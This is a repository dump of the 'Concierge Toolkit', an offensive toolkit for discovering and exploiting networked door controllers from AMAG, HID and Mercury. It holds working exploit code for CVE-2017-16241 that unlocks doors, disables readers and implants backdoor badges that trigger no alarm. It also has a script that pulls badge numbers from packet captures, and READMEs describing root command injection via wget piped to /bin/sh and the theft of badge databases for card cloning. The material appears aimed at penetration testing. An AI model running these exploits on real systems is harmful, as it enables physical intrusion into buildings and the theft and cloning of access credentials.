├── CHANGELOG.md ├── LICENSE ├── README.md ├── amag ├── README.md ├── endbc-check.py ├── endbc-discover.py ├── endbc-exploit.py ├── nse │ └── amag-endbc-discover.nse └── symmetry-pcap2cards.py ├── hid ├── README.md ├── evo-discover.py ├── evo-exploit.py └── nse │ └── hid-evo-discover.nse ├── mercury ├── README.md ├── ep-discover-snmp.py └── nse │ └── mercury-ep-snmp-discover.nse ├── requirements.txt └── utils ├── README.md ├── hostname-discovery.py ├── lantronix-discover.py └── rfid-card-gen.py /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | ## Pseudo Changelog: 2 | **05/09/18** 3 | Merged pull request from @atucom that completely rebuilt the hostname-discovery.py script. The script now has the option to parse nmap xml files instead of actively making DNS requests first. 4 | 5 | **05/03/18** 6 | Adds new discovery script for Lantronix Modules, often found door controllers and other access control related devices. 7 | 8 | **12/09/17: HushCon Seattle Edition.** 9 | This update contains a bunch of new scripts including exploits for AMAG's EN series of door controllers (CVE-2017-17241). Concierge is now, officially, a multi-vendor tool. More specifically: 10 | * Discovery and exploit scripts for AMAG EN Series door controllers (EN-1DBC, EN-1DBC+, and EN-2DBC). Works on all versions under default conditions. (./amag/) 11 | * Nmap NSE script for AMAG EN Series controller identification. 12 | * Discovery script for Mercury based Door controllers via SNMP. Both in slow python and faster nmap .nse (Mercury Security, Lenel, some Honeywell, and more). 13 | * A hostname based discovery script that leverages performs host name looks up and checks for generic and vendor specific keywords in hostnames. 14 | * Various minor updates and/or bug fixes to most scripts. 15 | * More renaming because I can't decide on a final convention. 16 | 17 | **11/4/17** 18 | 19 | * Created this CHANGELOG file and removed changelog info from primary README file 20 | * Merged PR for HID V1000 specific conditions in hid-evo-exploit.py (now renamed evo-exploit.py) 21 | * Renamed most scripts for some kind of uniformity. Most are now `.//-.`. 22 | * Other various uniformity updates, primarily to printed banners 23 | * Changed LICENSE to MIT for simplicity 24 | 25 | **10/13/17** 26 | 27 | * hidevo-exploit.py now modifies it's payloads based on the device type reported by the device. This makes exploitation more reliable. Not all device types currently have working code for every command. Unknown device types create a notification and and then hidevo-exploit.py defaults to the most common version of that payload. If you run into an unknown device type, let me know and we can work to get commands functioning. 28 | * Moved hidevo-discover.nse to `./utils` 29 | * Created hid-cardgen.py script in `./utils`. This script takes a facility code and card number as input and outputs proxmark3 hex values for HID 26 bit, HID Corp 35 bit, and HID 37 bit (with facility code). Useful for cloning cards from FC and Card number only. 30 | 31 | 32 | **4/23/17** 33 | Added implant feature to hidevo-exploit.py. Implants a known badge value into the HID EVO Door Controller's DB files. 34 | 35 | **4/22/17** 36 | The Directory Structure: The directory structure has been modified to a vendor based layout. This has little effect now, but will in the future. 37 | 38 | The HID EVO discovery and exploitation scripts have been rewritten completely. The previous .sh scripts are completely obsolete and have been removed. Even the previous .py scripts in /pydev have been removed. 39 | 40 | This has been done because I realized there was a better way to execute commands that no longer (with one exception) require writing some form of agent or script to disk. The exploitation scripts now host the commands over port 8080 and tell the target HID EVO door controller to pipe the commands to /bin/sh via wget. 41 | 42 | Regarding that one exception. Well, that's a completely new attack. The HID EVO exploit script can now exfiltrate the IdentDB file (with `-c exfil`) and will automatically parse out badge numbers in a proxmark acceptable format, saving them all to .csv file. 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Mike Kelly 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Concierge Toolkit: Physical Access Control Identification and Exploitation 2 | The Concierge Toolkit is collection of various scripts and resources to aid the in identification and exploitation of physical access control and monitoring systems. 3 | 4 | Concierge currently contains tests and/or exploits for the following vendors: 5 | * HID 6 | * AMAG 7 | * Mercury Security OEM (Mercury, Lenel, Honeywell, and others) 8 | * Generic/Vendor Neutral 9 | 10 | ## Installation 11 | A Concierge module requires libsnmp-dev: 12 | ``` 13 | apt-get update && apt-get -y install libsnmp-dev 14 | ``` 15 | Concierge currently uses Python 2.7. You can install the necessary modules using the included requirements.txt: 16 | ``` 17 | pip install -r requirements.txt 18 | ``` 19 | 20 | ## Usage 21 | Usage for each script can be found it's associated directory's README.md file. At least until I get a wiki going. 22 | -------------------------------------------------------------------------------- /amag/README.md: -------------------------------------------------------------------------------- 1 | # Concierge: AMAG 2 | Various scripts to discovery and exploit AMAG Symmetry SMS and AMAG EN-1DBC, EN-1DBC+, and EN-2DBC door controllers. 3 | 4 | ## References 5 | * 6 | * 7 | * 8 | 9 | ## endbc-exploit.py 10 | This script exploits CVE-2017-16241 to trigger commands on the vulnerable door controller. This effectively allows for the full control of the device. Affected devices include: AMAG's EN-1DBC, EN-1DBC+, and EN-2DBC door controllers. This vulnerability can be used to trigger locking mechanisms over the network. Additionally, it allows for injection of known card values into the controllers internal DB. Use of these "backdoor badges" does not create an alarm event in the AMAG Symmetry SMS software under default configurations. 11 | 12 | **Usage:** `./endbc-exploit.py -c -r 10.0.0.1` 13 | Actions: unlock, lock, disable, enable, implant, remove 14 | 15 | **unlock:** Unlocks the locking mechanism. 16 | **lock:** Locks the locket mechanism. 17 | **disable:** Disables the attached reader. Could be used to prevent or delay physical access. 18 | **enable:** Enables the attached reader. 19 | **implant:** Add new badge values to the door controller database. Requires `-fc `. Optional `-pn ` defaults to 1234. 20 | **remove:** Delete badge values from the door controller database. Requires `-fc `. 21 | 22 | ## endbc-discover.py 23 | This script uses a recreation of AMAG's purpose built discovery protocol to identify door controllers across a provided cidr range. Delivers basic information like hostname, device type, firmware version. Also contains a -v switch to check if the discovered door controller is vulnerable to CVE-2017-16241. 24 | 25 | **Usage:** `./endbc-discover.py -r 10.0.0.1/24 -v` 26 | 27 | **Note:** This script is slow and has problems with known false negatives on EN-1DBC. The preferred method of discovery is using the nmap NSE script in the utils directory. 28 | 29 | ## endbc-check.py 30 | This script attempts to exploit the CVE-2017-16241 across a provided cidr range with a simple version check command to confirm vulnerability. Can be used as a secondary discovery method if the UDP discovery method doesn't work. 31 | 32 | **Usage:** `./endbc-check.py -r 10.0.0.1/24` 33 | 34 | ## symmetry-pcap2cards.py 35 | This script pulls card number and facility code out of pcaps that contain traffic between an AMAG Symmetry SMS and AMAG networked door controllers. 36 | **Usage:** `./symmetry-pcap2cards.py -f ` 37 | 38 | ## ./nse/amag-endbc-discover.nse 39 | **Usage:** `nmap -sU -p 49107 --disable-arp-ping --script=amag-endbc-discover.nse ` 40 | Recreates AMAG's proprietary discovery service to identify EN-1DBC, EN-1DBC+, and EN-2DBC. Testing shows that the --disable-arp-ping flag helps eliminate false-negatives when scanning your own subnet. 41 | **Output:** 42 | ``` 43 | Nmap scan report 10.0.0.1 44 | Host is up (0.12s latency). 45 | 46 | PORT STATE SERVICE 47 | 49107/udp open|filtered unknown 48 | | amag-endbc-discover: 49 | | Device Type: AMAG EN-1DBC 50 | |_ Firmware Version: 03.60 51 | MAC Address: 00:15:BD:XX:XX:XX (Group 4 Technology) 52 | ``` 53 | -------------------------------------------------------------------------------- /amag/endbc-check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # Tests AMAG EN Series door controllers for CVE-2017-16241 vulnerability. This check has not been thoroughly tested for false positive/negatives 10 | # Identified controllers are saved to endbc-CVE_2017_16241.csv 11 | # 12 | 13 | import socket 14 | import argparse 15 | import netaddr 16 | import re 17 | import sys 18 | from time import sleep 19 | from os import path 20 | 21 | def amag_endbc_vulncheck(): 22 | s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 23 | pkt1 = '0230315a5a235666304439'.decode('hex') 24 | s2.setblocking(0) 25 | s2.settimeout(0.5) 26 | s2.connect((str(ip), 3001)) 27 | s2.send(pkt1) 28 | rspn = s2.recv(64) 29 | if "Vf" in rspn: 30 | cve = "vulnerable" 31 | print "[+] "+ip+" vulnerable to CVE-2017-16241" 32 | with open("endbc-CVE_2017_16241.csv"): 33 | f.write(ip+","+cve) 34 | s2.close 35 | if __name__ == '__main__': 36 | parser = argparse.ArgumentParser(usage='./endbc-check.py -r 10.0.0.1/24') 37 | parser.add_argument('-r', '--cidr', required=True, help='Target CIDR Range') 38 | args = parser.parse_args() 39 | cidr = args.cidr 40 | 41 | print "#############################################" 42 | print "# Concierge Toolkit #" 43 | print "# #" 44 | print "# AMAG EN Series CVE-2017-16241 Check #" 45 | print "#############################################" 46 | print "" 47 | print "[!] This script isn't finished yet and doesn't work. For now, you can you endbc-discover.py with the -v switch" 48 | sys.exit() 49 | #print "[*] Starting AMAG EN Series CVE_2017_16241 check." 50 | print "" 51 | if path.isfile("endbc-CVE_2017_16241.csv") == 0: 52 | with open("endbc-CVE_2017_16241.csv","a+")as f: 53 | f.write("rhost,cve-2017-16241\n") 54 | for ip in netaddr.IPNetwork(cidr).iter_hosts(): 55 | try: 56 | amag_endbc_vulncheck() 57 | except (KeyboardInterrupt, SystemExit)as e: 58 | print "Keyboard Interrupt: Stopping all processes" 59 | sys.exit() 60 | except (socket.timeout, socket.error): 61 | pass 62 | except (IndexError): 63 | pass 64 | print "" 65 | print "[*] AMAG EN Series CVE-2017-16241 vuln check of "+cidr+" complete." 66 | -------------------------------------------------------------------------------- /amag/endbc-discover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # Uses AMAG Technologies discovery protocol to identify EN- Series door controllers in a cidr range. 10 | # Also tests identified controllers for CVE-2017-16241 vulnerability. This check has not been thoroughly tested for false positive/negatives 11 | # Identified controllers are saved to endbc-details.csv 12 | # 13 | 14 | import socket 15 | import argparse 16 | import netaddr 17 | import re 18 | import sys 19 | from time import sleep 20 | from os import path 21 | from os import geteuid 22 | 23 | # Discover AMAG EN-DBC Door Controllers 24 | def amag_endbc_discover_udp(): 25 | s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 26 | s.bind(('0.0.0.0', 49107)) 27 | s.setblocking(0) 28 | pkt0 = '000004b2ab9913de000001a000000000bddf3c00000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'.decode('hex') 29 | s.sendto(pkt0, (str(ip), 49107)) 30 | s.settimeout(.5) 31 | rsp = s.recv(1024) 32 | rspn = re.findall("[^\x00-\x1F\x7F-\xFF]{4,}", re.sub('( )', '', rsp)) 33 | s.close 34 | if len(rspn) > 0: 35 | if "1DBC" in rspn[2]: 36 | print "[+] AMAG EN-"+rspn[2][:4]+" response received from: "+str(ip) 37 | print " Device Type: EN-"+rspn[2][:4] 38 | print " Hostname: "+rspn[3] 39 | print " Version: "+rspn[1] 40 | if vulncheck == 1: 41 | s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 42 | pkt1 = '0230315a5a235666304439'.decode('hex') 43 | s2.setblocking(0) 44 | s2.settimeout(.5) 45 | s2.connect((str(ip), 3001)) 46 | s2.send(pkt1) 47 | if "Vf" in s2.recv(64): 48 | cve = "vulnerable" 49 | print " CVE-2017-16241: Vulnerable" 50 | else: 51 | cve = "not vulnerable" 52 | print " CVE-2017-16241: Not vulnerable" 53 | s2.close 54 | else: 55 | cve = "not checked" 56 | with open("endbc-details.csv","a+")as f: 57 | f.write(str(ip)+",EN-"+rspn[2][:4]+","+rspn[3]+","+rspn[1]+","+cve+"\n") 58 | if "2DBC" in rspn[2]: 59 | print "[+] AMAG EN-"+rspn[2][:4]+" response received from: "+str(ip) 60 | print " Device Type: EN-"+rspn[2][:4] 61 | print " Hostname: "+rspn[3] 62 | print " Version: "+re.sub('[()]', '',rspn[13]) 63 | if vulncheck == 1: 64 | s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 65 | pkt1 = '0230315a5a235666304439'.decode('hex') 66 | s2.setblocking(0) 67 | s2.settimeout(0.5) 68 | s2.connect((str(ip), 3001)) 69 | s2.send(pkt1) 70 | if "Vf" in s2.recv(64): 71 | cve = "vulnerable" 72 | print " CVE-2017-16241: Vulnerable" 73 | else: 74 | cve = "not vulnerable" 75 | print " CVE-2017-16241: Not vulnerable" 76 | s2.close 77 | else: 78 | cve = "not checked" 79 | with open("endbc-details.csv","a+")as f: 80 | f.write(str(ip)+",EN-"+rspn[2][:4]+","+rspn[3]+","+re.sub('[()]', '',rspn[13])+","+cve+"\n") 81 | 82 | if __name__ == '__main__': 83 | parser = argparse.ArgumentParser(usage='./endbc-discover.py -r 10.0.0.1/24 -v') 84 | parser.add_argument('-r', '--rhosts', required=True, help='Target CIDR Range') 85 | parser.add_argument('-v', '--vulncheck', action='store_true', help='Optional. Perform CVE-2017-16241 vulnerability check') 86 | args = parser.parse_args() 87 | rhosts = args.rhosts 88 | vulncheck = args.vulncheck 89 | print "#############################################" 90 | print "# Concierge Toolkit #" 91 | print "# #" 92 | print "# AMAG EN- Series Door Controller Discovery #" 93 | print "#############################################" 94 | print "" 95 | try: 96 | if not geteuid() == 0: 97 | print "[!] This script must be run with root privileges." 98 | sys.exit() 99 | print "[!] This script is slow and has known problems with occasional false negatives for EN-1DBC controllers." 100 | print "[!] The preferred method of discovery for AMAG EN series controllers is via the nmap nse script `utils/nse/`" 101 | print "" 102 | sleep(5) 103 | print "[*] Starting door controller discovery." 104 | if path.isfile("endbc-details.csv") == 0: 105 | with open("endbc-details.csv","a+")as f: 106 | f.write("rhost,device type,hostname,firmware version,cve-2017-16241\n") 107 | for ip in netaddr.IPNetwork(rhosts).iter_hosts(): 108 | amag_endbc_discover_udp() 109 | except (KeyboardInterrupt, SystemExit)as e: 110 | print "" 111 | print "Keyboard Interrupt: Stopping all processes" 112 | sys.exit() 113 | except (socket.timeout, socket.error): 114 | pass 115 | except (IndexError): 116 | pass 117 | print "[*] AMAG EN series discovery of "+rhosts+" complete." 118 | -------------------------------------------------------------------------------- /amag/endbc-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # Exploits CVE-2017-16241 in AMAG Technologies EN-Series of door controllers 10 | # Allows for control of door controller functions including lock, unlock, enable, and disable 11 | # Additionally, the implant command allows for the injection of RFID badge values into the controllers local database 12 | # 13 | # See README.md for specific command usage 14 | # 15 | 16 | import socket 17 | import argparse 18 | import binascii 19 | import re 20 | import sys 21 | from time import sleep 22 | 23 | # Unlock Command 24 | def unlock(rhost, port): 25 | print "[*] Sending 'unlock' command to "+rhost 26 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 27 | s.setblocking(0) 28 | s.settimeout(5) 29 | s.connect((rhost, port)) 30 | # door one 31 | s.send('0230315a5a24556431314139'.decode('hex')) 32 | sleep(.25) 33 | # door two (for EN-2DBC) 34 | s.send('0230315a5a24556431324138'.decode('hex')) 35 | s.close 36 | 37 | # Relock Door 38 | def lock(rhost, port): 39 | print "[*] Sending 'lock' command to "+rhost 40 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 41 | s.setblocking(0) 42 | s.settimeout(5) 43 | s.connect((rhost, port)) 44 | # door one 45 | s.send('0230315a5a244c6431314232'.decode('hex')) 46 | sleep(.25) 47 | # door two (for EN-2DBC) 48 | s.send('0230315a5a244c6431324231'.decode('hex')) 49 | s.close 50 | 51 | # Implant badge 52 | def implant(rhost, port): 53 | print "[*] Sending 'implant' command to "+rhost+" with CN: "+cn+", FC: "+fc+", and Pin: "+pn 54 | # Crafting data packet for add command # 55 | # |---cmd(pre)---| |---cn---| |-fc-| p1 |-pin#-| |p2| |---date---| |-----p3-----| |------------------------------p4------------------------------| |--p5--| |cks| 56 | # 0230315a5a624361 101010223b 101122 30 38383436 4e4e 303932393136 3132333133354e 1011101010101010101010101010101010101010101010101010101010101010 4e4e4e4e 3742 57 | # Reader Port 1 (EN-1DBC(+) 58 | pre = "0230315a5a624361" 59 | # Reader port 2, un-tested (EN-2DBC) 60 | #pre = "0230215a5a624361" 61 | # calculate cn 62 | cn0 = cn.zfill(10) 63 | cn1 = re.findall('..',cn0) 64 | cnh = hex(int(cn1[0])+0x10)[2:]+hex(int(cn1[1])+0x10)[2:]+hex(int(cn1[2])+0x10)[2:]+hex(int(cn1[3])+0x10)[2:]+hex(int(cn1[4])+0x10)[2:] 65 | # calculate fc 66 | fc0 = fc.zfill(6) 67 | fc1 = re.findall('..',fc0) 68 | fch = hex(int(fc1[0])+0x10)[2:]+hex(int(fc1[1])+0x10)[2:]+hex(int(fc1[2])+0x10)[2:] 69 | pnh = (pn.encode('hex')) 70 | p1 = "30" 71 | p2 = "4e4e" 72 | # ASCII mmddyy -> hex: Testing shows date might not matter 73 | date = "303130313136" 74 | p3 = "3132333133354e" 75 | p4 = "1011101010101010101010101010101010101010101010101010101010101010" 76 | p5 = "4e4e4e4e" 77 | pkt1 = pre+cnh+fch+p1+pnh+p2+date+p3+p4+p5 78 | cks = str(hex((0x100 - sum(bytearray(pkt1.decode('hex'))) - 1) & 0xff)[2:]).encode('hex') 79 | pkt2 = pkt1+cks 80 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 81 | s.setblocking(0) 82 | s.settimeout(5) 83 | s.connect((rhost, port)) 84 | s.send(pkt2.decode('hex')) 85 | s.close 86 | 87 | # Remove badge 88 | def remove(rhost, port): 89 | print "[*] Sending 'remove' command to "+rhost+": Removing CN: "+cn+" FC: "+fc 90 | # calculate cn 91 | cn0 = cn.zfill(10) 92 | cn1 = re.findall('..',cn0) 93 | cnh = hex(int(cn1[0])+0x10)[2:]+hex(int(cn1[1])+0x10)[2:]+hex(int(cn1[2])+0x10)[2:]+hex(int(cn1[3])+0x10)[2:]+hex(int(cn1[4])+0x10)[2:] 94 | # calculate fc 95 | fc0 = fc.zfill(6) 96 | fc1 = re.findall('..',fc0) 97 | fch = hex(int(fc1[0])+0x10)[2:]+hex(int(fc1[1])+0x10)[2:]+hex(int(fc1[2])+0x10)[2:] 98 | # build packet 99 | pre = "0230315a5a2a4364" 100 | pkt1 = pre+cnh+fch 101 | cks = str(hex((0x100 - sum(bytearray(pkt1.decode('hex'))) - 1) & 0xff)[2:]).encode('hex') 102 | pkt2 = pkt1+cks 103 | # sending 104 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 105 | s.setblocking(0) 106 | s.settimeout(5) 107 | s.connect((rhost, port)) 108 | s.send(pkt2.decode('hex')) 109 | s.close 110 | 111 | # Disable Reader 112 | def disable(rhost, port): 113 | print "[*] Sending 'disable' command to "+rhost 114 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 115 | s.setblocking(0) 116 | s.settimeout(5) 117 | s.connect((rhost, port)) 118 | s.send('0230315a5a24526431314143'.decode('hex')) 119 | s.close 120 | 121 | # Enable Reader 122 | def enable(rhost, port): 123 | print "[*] Sending 'enable' command to "+rhost 124 | s.setblocking(0) 125 | s.settimeout(5) 126 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 127 | s.connect((rhost, port)) 128 | s.send('0230315a5a24526531314142'.decode('hex')) 129 | s.close 130 | 131 | if __name__ == '__main__': 132 | parser = argparse.ArgumentParser(usage='./endbc-exploit.py -c unlock -r 192.168.1.1') 133 | parser.add_argument('-c', '--cmd', required=True, help='Command to send to door controller (lock, unlock, enable, disable, implant, remove') 134 | parser.add_argument('-r', '--rhost', required=True, help='IP of target door controller') 135 | parser.add_argument('-p', '--port', default="3001", type=int, help='Target port on door controller (default: %(default)s)') 136 | parser.add_argument('-cn', '--cn', help='RFID Card Number. Required for "implant" and "remove" commands.') 137 | parser.add_argument('-fc', '--fc', help='RFID Facility Code. Required for "implant" and "remove" commands.') 138 | parser.add_argument('-pn', '--pn', default="1234", help='Pin number for card. Used for "implant" command. (default: 1234)') 139 | args = parser.parse_args() 140 | rhost = args.rhost 141 | port = args.port 142 | cn = args.cn 143 | fc = args.fc 144 | pn = args.pn 145 | print "#############################################" 146 | print "# Concierge Toolkit #" 147 | print "# #" 148 | print "# AMAG EN- Series CVE-2017-16241 Exploit #" 149 | print "#############################################" 150 | print "" 151 | print "[*] Targeting EN-xDBC at: "+rhost+":"+str(port) 152 | try: 153 | if args.cmd == "lock": 154 | lock(rhost,port) 155 | if args.cmd == "unlock": 156 | unlock(rhost,port) 157 | if args.cmd == "implant": 158 | implant(rhost,port) 159 | if args.cmd == "remove": 160 | remove(rhost,port) 161 | if args.cmd == "disable": 162 | disable(rhost,port) 163 | if args.cmd == "enable": 164 | enable(rhost,port) 165 | except (KeyboardInterrupt, SystemExit)as e: 166 | print "" 167 | print "[!]Keyboard Interrupt: Stopping all processes" 168 | sys.exit() 169 | except (socket.timeout, socket.error): 170 | print "" 171 | print "[!] Timed out or connection denied" 172 | sys.exit() 173 | -------------------------------------------------------------------------------- /amag/nse/amag-endbc-discover.nse: -------------------------------------------------------------------------------- 1 | local comm = require "comm" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | description = [[ 9 | Uses AMAGs discovery service on udp port 49107 to enumerate information from AMAG EN series door controllers. 10 | ]] 11 | 12 | author = "Mike Kelly (@lixmk)" 13 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 14 | categories = {"discovery", "safe"} 15 | 16 | --- 17 | -- @usage 18 | -- nmap -sU -p 49107 --disable-arp-ping --script=amag-endbc-discover.nse 10.0.0.1 19 | -- 20 | -- @output 21 | --PORT STATE SERVICE 22 | --49107/udp open|filtered unknown 23 | --| amag-endbc-discover: 24 | --| Device Type: AMAG EN-1DBC 25 | --|_ Firmware Version: 03.60 26 | --MAC Address: 00:15:BD:XX:XX:XX (Group 4 Technology) 27 | --- 28 | 29 | portrule = shortport.portnumber(49107, "udp") 30 | 31 | action = function(host, port) 32 | 33 | local socket = nmap.new_socket() 34 | local status, err = socket:bind("0.0.0.0", 49107) 35 | local status, err = socket:connect(host, port) 36 | local status, err = socket:send(stdnse.fromhex('000004b2ab9913de000001a000000000bddf3c00000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) 37 | local status, data = socket:receive() 38 | local clean = string.gsub(string.gsub(string.gsub(string.gsub(data, "%.", "ZZZZ"), "(%W+)", ";"), "ZZZZ", "."), "^%z+%.", "") 39 | local output = {} 40 | if string.match(data, "1DBC") then 41 | local fld = stdnse.strsplit(";", string.gsub(clean, "^.*;h;", "", 1)) 42 | table.insert(output, stdnse.strjoin("-", {"Device Type: AMAG EN", fld[3]})) 43 | table.insert(output, stdnse.strjoin(" ", {"Firmware Version:", fld[2]})) 44 | return stdnse.format_output(true, output) 45 | end 46 | if string.match(data, "2DBC") then 47 | local fld = stdnse.strsplit(";", string.gsub(clean, "^.*UUUU;", "", 1)) 48 | table.insert(output, stdnse.strjoin("-", {"Device Type: AMAG EN-1DBC+ or EN", fld[3]})) 49 | table.insert(output, stdnse.strjoin(" ", {"Firmware Version:", fld[2]})) 50 | return stdnse.format_output(true, output) 51 | end 52 | end 53 | -------------------------------------------------------------------------------- /amag/symmetry-pcap2cards.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # Parses supplied pcap to identify card numbers and facility codes. 10 | # This specifically targets AMAG Symmetry SMS and associated hardware. 11 | # 12 | # Basic Usage: 13 | # ./amag_pcap2cards.py -f .pcap 14 | # 15 | 16 | import re 17 | import argparse 18 | import pyshark 19 | import sys 20 | from os import path 21 | 22 | def amag_parse(infile): 23 | print "[*] Loading pcap: "+infile+" ..." 24 | pcap = pyshark.FileCapture(infile, display_filter='tcp.port == 3001 && (frame contains "8Mt")') 25 | pcap.load_packets() 26 | num = len(pcap) 27 | print "[*] Parsing pcap for AMAG Symmetry badge numbers..." 28 | for packet in range(0 , num): 29 | pdata = str(pcap[packet].data.get_field_value('data')) 30 | full = pdata[-28:-12] 31 | raw_cn = re.findall('..',full[:10]) 32 | raw_fc = re.findall('..',full[-6:]) 33 | cn = int(str(int(str(int(str("0x"+raw_cn[0]), 16)-0x10).zfill(2))).zfill(2)+str(int(str(int(str("0x"+raw_cn[1]), 16)-0x10).zfill(2))).zfill(2)+str(int(str(int(str("0x"+raw_cn[2]), 16)-0x10).zfill(2))).zfill(2)+str(int(str(int(str("0x"+raw_cn[3]), 16)-0x10).zfill(2))).zfill(2)+str(int(str(int(str("0x"+raw_cn[4]), 16)-0x10).zfill(2))).zfill(2)) 34 | fc = int(str(int(str(int(str("0x"+raw_fc[0]), 16)-0x10).zfill(2))).zfill(2)+str(int(str(int(str("0x"+raw_fc[1]), 16)-0x10).zfill(2))).zfill(2)+str(int(str(int(str("0x"+raw_fc[2]), 16)-0x10).zfill(2))).zfill(2)) 35 | if cn > 0: 36 | with open("amag-badges.csv","a+")as f: 37 | f.write(str(cn)+","+str(fc)+","+infile+"\n") 38 | print "[+] CN: "+str(cn)+" FC:"+str(fc) 39 | 40 | if __name__ == '__main__': 41 | parser = argparse.ArgumentParser(usage='./symmetry-pcap2cards.py -f ') 42 | parser.add_argument('-f', '--infile', required=True, help='Packet export txt') 43 | args = parser.parse_args() 44 | infile = args.infile 45 | print "#############################################" 46 | print "# Concierge Toolkit #" 47 | print "# #" 48 | print "# AMAG Symmetry SMS PCAP to Cards #" 49 | print "#############################################" 50 | print "" 51 | if path.isfile("amag-badges.csv") == 0: 52 | with open("amag-badges.csv","a+")as f: 53 | f.write("card number,facility code,pcap file\n") 54 | try: 55 | amag_parse(infile) 56 | except (KeyboardInterrupt, SystemExit)as e: 57 | print "" 58 | print "[!]Keyboard Interrupt: Stopping all processes" 59 | sys.exit() 60 | -------------------------------------------------------------------------------- /hid/README.md: -------------------------------------------------------------------------------- 1 | # Concierge Toolkit: HID 2 | Scripts related to the discovery and exploitation of HID Global devices and services. 3 | 4 | ## Acknowledgements 5 | **Ricky "HeadlessZeke" Lawshae:** Ricky first identified and disclosed the vulnerability in the discoveryd service, which is exploited by these scripts. Additionally, Ricky's exploit code proved to be way more effective than my originals and have been implemented into Concierge. Check out the demo code from his DEF CON 24 talk at: 6 | 7 | ## References 8 | Blog: 9 | Disclosure: 10 | Blog: 11 | Blog: 12 | 13 | ## evo-exploit.py 14 | This script exploits a root privileged command injection vulnerability (ZDI-16-223) to perform the actions listed below. 15 | **Usage:** `./evo-exploit.py -r 10.0.0.1 -l 192.168.1.1 -c ` 16 | Commands Available: 17 | * unlock: Unlocks the associated door(s) 18 | * lock: Locks the associated door(s) 19 | * blink: Cycles a light pattern on the associated Badge Reader(s) 20 | * exfil: Downloads and decodes the controllers IdentDB file, parsing out associated RFID card numbers. Hex values provided can be copy/pasted into proxmark for cloning. This has not yet been tested for iClass, but will be soon. Recovered badge values are saved to `./hid-evo-badges.csv` along with targets IP address and hostname. 21 | * implant: Implants a backdoor badge value into the door controller. PM3 Hex: `2004060a73`. iClass Blk7 (Encrypted): `8b0c4cf554bca3fe` 22 | 23 | ## evo-discover.py 24 | Uses HID's discoveryd service to identify HID EVO door controllers on the network. Identified door controllers are saved to `./hid-evo-details.csv` which contains the full enumerated details of each identified HID EVO door controller. This script is slow, the preferred method is the nmap .nse in the utils/nse directory. 25 | **Usage:** `./evo-discover -r 10.0.0.1/24` 26 | 27 | **Note:** This script is slow. The preferred method of discovery is using the nmap NSE script in the utils/nse/ directory. 28 | 29 | ## ./nse/hid-evo-discover.nse 30 | **Usage:** `nmap -sU -p 4070 --script=hid-evo-discover.nse ` 31 | 